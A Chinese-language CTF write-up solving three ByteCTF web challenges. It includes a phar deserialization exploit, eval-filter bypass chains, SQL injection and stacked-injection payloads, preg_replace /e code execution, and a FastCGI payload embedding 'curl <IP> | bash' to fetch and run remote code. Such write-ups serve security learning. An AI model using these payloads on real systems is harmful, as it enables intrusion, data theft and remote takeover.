Bytectf-幾道web總結


1.EZcms

這道題思路挺明確,給了源碼,考點就是md5哈希擴展+phar反序列化

首先這道題會在上傳的文件目錄下生成無效的.htaccess,從而導致無法執行上傳的webshell,所以就需要想辦法刪除掉.htaccess

這里主要記錄一點,利用php內置類進行文件操作,

exp為:

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct() {
        $this->checker = new Profile();
    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    function __construct() {
        $this->admin = new ZipArchive;
        $this->username = '/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
        $this->password = ZIPARCHIVE::OVERWRITE;
    }
}

@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

通過反序列化File類,從而調用Profile類的upload_file函數,此時觸發Profile類的call方法,

 

 

 

這里實際調用了open方法,其實Profile類里沒有這個方法,所以去內置類中找,並且admin可控為任何內置類,這里用到了Archive::open方法來覆蓋寫文件,當然這是一個原題的知識點,這里記錄一下如何找到它,fuzz的代碼如下:

<?php
echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){

  $arr_func=get_class_methods($class);
  echo $class."\n";
  var_dump($arr_func);
}

 

 通過get_declared_classes和get_class_methods方法就能夠獲得php所有內置類對應的方法,此時只要進行一個簡單的字符串匹配,就能找到同名的所需要的函數,以后遇到需要用到內置類的同名方法時也能夠進行快速fuzz

<?php
#echo "get_declared_classes()"."\n";
$a=get_declared_classes();
foreach($a as $class){

  $arr_func=get_class_methods($class);
  foreach($arr_func as $func){
        if($func=="open"){
        echo $class." ".$func."\n";
}
}
}

 

 

 

 其中open函數可以指定覆蓋模式,此時第一參數即為要刪除的文件名,此時就能夠滿足對.htaccess文件的刪除,后續操作即上傳phar文件,利用suctf中

php://filter/resource=phar://來進行phar反序列化,這里上傳shell時會對內容過濾一些常見關鍵字:

 使用php字符串連接.點繞過即可

2.Boring code

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

取$url下的內容傳入eval執行,這里過濾了data協議,否則可以通過

data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

來繞過preg_match的檢查,這里目前我知道有三種解決方法:

1.可以直接購買一個xxxxxbaidu.com的域名

2.或者利用百度的url跳轉

3.利用百度雲自動生成的鏈接

 

 這里將直接顯示文件完整的鏈接,此時在php中使用file_get_contents試試:

 此時能夠直接對遠程文件內容進行獲取,也滿足了題目baidu.com的條件的限制,此時第一層preg已經可以繞過,

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) 

這里用到了遞歸匹配,即最終匹配到的函數調用格式只能是a(b(c())),並且是無參數的

https://zh.functions-online.com/preg_replace.html

 

 

又因為題目的flag已經提示在../index.php,所以要讀到這個文件:

readfile(end(scandir('.')));

以上一段代碼會返回當前文件夾的最后一個文件

而當前正則不能使用.點,所以要構造出一個.點,

關鍵函數1:

localeconv,函數返回一包含本地數字及貨幣格式信息的數組。

 

 

 結合pos函數或者current函數獲取數組中的指定元素,默認是第一個元素,當然可以結合next函數返回第二個元素;

 

 因為此時要跨目錄,所以需要chdir切換一下目錄

 此時可以使用chdir切換目錄,但是chdir返回值為1或者0,不能夠返回一個.點,因此使用localtime()+time()函數結合起來可以返回1個int數組,此時使用pos()函數獲取第一個元素

即為當前秒數,那么當為每分鍾46秒時將結合chr函數返回.點。

 

 

 所以此時payload已經很明確,為:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

此時只要將payload放到百度雲盤上,並獲取此鏈接,然后再burp重復發包即可,這里也可以使用如下的payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

利用if(1),從而來執行readfile()函數

3.BabyBlog

 這道題主要是二次注入,這里主要漏洞點在$content,這里直接使用addslashes進行一個轉義

 而在edit.php中,這里直接將存進庫中的title數據查出來並拼接到update語句中,所以這里明顯存在二次注入,臟數據沒有進行過濾,只是進行了入庫前的轉義,從而導致漏洞的產生,這里引入了config.php來對get和post的參數進行了檢測

 注入點在此,並且在replace.php中,這里可以拼接preg_match,並且php的版本為5.3.29,php版本5.4以下都存在%00截斷問題,以及結合/e選項進行代碼執行

 

 這里$_POST['find']=.*/e%00  $_POST['replace']=phpinfo(); 

preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']

就能夠執行phpinfo();

 而在register.php中,我們已經知道此時注冊的用戶默認isvip等於0,那么只有通過注入來實現讓isvip為1,那么有兩種方法:

1.通過注入來找到數據庫中已經存在的isvip為1的用戶;

2.通過注入來將當前我們注冊的用戶的isvip字段更新為1;

 

第一種方法:

第一種方法,貌似不是出題人的主要考點,初始數據庫中沒有任何用戶,第二種方法我覺得才是預期做法,利用PDO在php5.3以后是支持堆疊查詢,從而更新當前用戶的is_vip字段

首先注冊一個用戶,此時可以看到isvip為0,在writing.php頁面,因為已經知道注入點在title字段,所以我們此時提交注入的payload,當然在這里本地肯定一定要測試一下payload,能否通過waf檢測

<?php
$sql = new PDO("mysql:host=localhost;dbname=babyblog", 'root', 'root') or die("SQL Server Down T.T");
function SafeFilter(&$arr){
        foreach ($arr as $key => $value) {
                if (!is_array($value)){
                        $filter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\")|(\+|-|~|!|@:=|" . urldecode('%0B') . ").+?)FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
                        if(preg_match('/' . $filter . '/is',$value)){
                      echo  preg_replace('/'.$filter.'/is',"@@@",$value);
                        echo "123";
                        }
else{
echo "321";
}
                }else{
                        SafeFilter($arr[$key]);
                }
        }
}
$_GET && SafeFilter($_GET);

 本地測試payload:

1' ^ (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1) ^'1

此時select a from b這種形式被過濾了

但是可以用select(a)from b

 

 

 

 綜上payload可以更換為:

1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1)  ^ '1

此時我們可以測試一下:

 

 當提交如上payload,即取所有表名連接起來的第一位ascii大於1,此時update的where拼接應該是:

where title='1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>1)  ^ '1'

 

 此時更新這條blog的title為12345

 

 此時我們對應的id的title和content將被更新為12345,默認為最新的一條blog,因為此時where條件為1

那么另一種邏輯為:

1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200)  ^ '1

 

 此時edit更新其值是不能成功的,因為where條件為0

 

 當然在命令行下也是可以驗證這種邏輯的,因此基於這種邏輯就能夠依次暴庫、表、字段,所以編寫腳本時只需要注意兩點:

1.在writing.php寫payload

2.在edit.php更新blog,因為需要更新最新的一條為含有payload的blog,而每條blog有對應的id,因此需要正則匹配所有的id號並取列表第一個即為最新的id,此時更改此條id的blog,若當前查的數據ascii為10,payload為<10,則更新成功,依次增大payload中ascii碼,直到更新失敗,此時ascii-1即為當前查的數據的ascii碼值

基於以上兩條即可得到isvip為1的用戶的賬號和密碼,前提是別人已經更新成功isvip為1的用戶。

第二種方法

第二種采用堆疊注入的形式,直接update當前用戶為isvip為1

 payload為:

tr1ple';SET @SQL=0x757064617465207573657273207365742069737669703d3120776865726520757365726e616d653d22747231706c65223b;PREPARE sql FROM @SQL;EXECUTE sql;# 

這樣就能更新tr1ple用戶的isvip為1

 

 

 並且此時本地測試payload是可以通過的

 

 

 此時回到數據庫中可以看到此時isvip已經為1,那么此時就可以進行第二步了,結合preg_match的%00截斷正則匹配表達式,並且此時配合/e參數來進行rce

 

 

 后面就是常規的套路,繞過openbase_dir和繞過disable_function

<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

此時可以用以上代碼進行bypass列文件,可以在根目錄發現readflag,一般來說肯定要調用readflag來讀取flag,所以此時要執行readflag,沒有禁用error_log,因此可以使用putenv+error_log來進行bypass diable_function,當然這道題也可以用打php-fpm來繞過openbase_dir和disable_function

$fp = stream_socket_client("套接字地址", $errno, $errstr,30);
$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");
stream_socket_sendto($fp,$out);
while (!feof($fp))
{echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);

這里可以直接與目標unix 套接字進行通信,其中變量$out即為發送到目標套接字的地址,payload可以根據p牛的python腳本進行更改,改為只輸入payload不發出payload,此時再通過此執行此php文件來

php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = tr1ple.so\nauto_prepen_file=php://input

這樣我們就可以上傳該exp文件,並且上傳so文件到tmp目錄,然后打php-fpm,只需要php://input中結putenv+errorlog即可進行rce


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM